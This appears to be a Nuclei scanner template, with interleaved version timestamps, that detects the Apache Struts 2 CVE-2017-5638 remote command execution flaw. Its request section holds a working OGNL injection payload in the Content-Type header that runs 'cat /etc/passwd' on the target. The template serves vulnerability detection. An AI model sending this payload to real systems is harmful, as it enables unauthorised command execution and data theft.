2021-01-02 05:02:50 +00:00
id : CVE-2017-5638
2022-04-22 10:38:41 +00:00
2020-08-19 13:13:31 +00:00
info :
2022-04-29 19:58:07 +00:00
name : Apache Struts 2 - Remote Command Execution
2022-04-22 10:38:41 +00:00
author : Random_Robbie
2020-08-19 13:13:31 +00:00
severity : critical
2023-01-20 08:05:18 +00:00
description : |
2023-03-27 17:46:47 +00:00
Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
2023-09-27 15:51:13 +00:00
impact : |
Remote attackers can execute arbitrary commands on the target system.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/mazen160/struts-pwn
2022-05-17 09:18:12 +00:00
- https://isc.sans.edu/diary/22169
- https://github.com/rapid7/metasploit-framework/issues/8064
2023-01-20 08:05:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-5638
2023-07-11 19:49:27 +00:00
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 10
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-5638
cwe-id : CWE-20
2024-01-14 13:49:27 +00:00
epss-score : 0.97535
2023-11-27 09:19:41 +00:00
epss-percentile : 0.99993
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*
2023-01-20 08:05:18 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2023-09-06 13:22:34 +00:00
shodan-query : html:"Apache Struts"
2024-01-14 09:21:50 +00:00
tags : cve2017,cve,apache,kev,msf,struts,rce
2020-08-19 13:13:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-08-19 13:13:31 +00:00
- raw :
2023-01-20 08:05:18 +00:00
- |
2021-08-19 14:44:46 +00:00
GET / HTTP/1.1
Host : {{Hostname}}
2023-01-20 08:05:18 +00:00
Content-Type : %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
2020-08-19 13:13:31 +00:00
2023-01-19 23:48:33 +00:00
matchers-condition : and
2020-08-19 13:13:31 +00:00
matchers :
2023-01-19 23:48:33 +00:00
- type : regex
regex :
- "root:.*:0:0:"
- type : status
status :
- 200
2024-01-14 14:05:19 +00:00
# digest: 490a0046304402203d36a0a6ce53663b4df58edd2651cfabc4f1437498a323b77f7ac18d16834fe902204ab785dc772dd44c8af8cf338753ebd93f52d5425d3e9c03a6512547dc521083:922c64590222798bb761d5b6d8e72950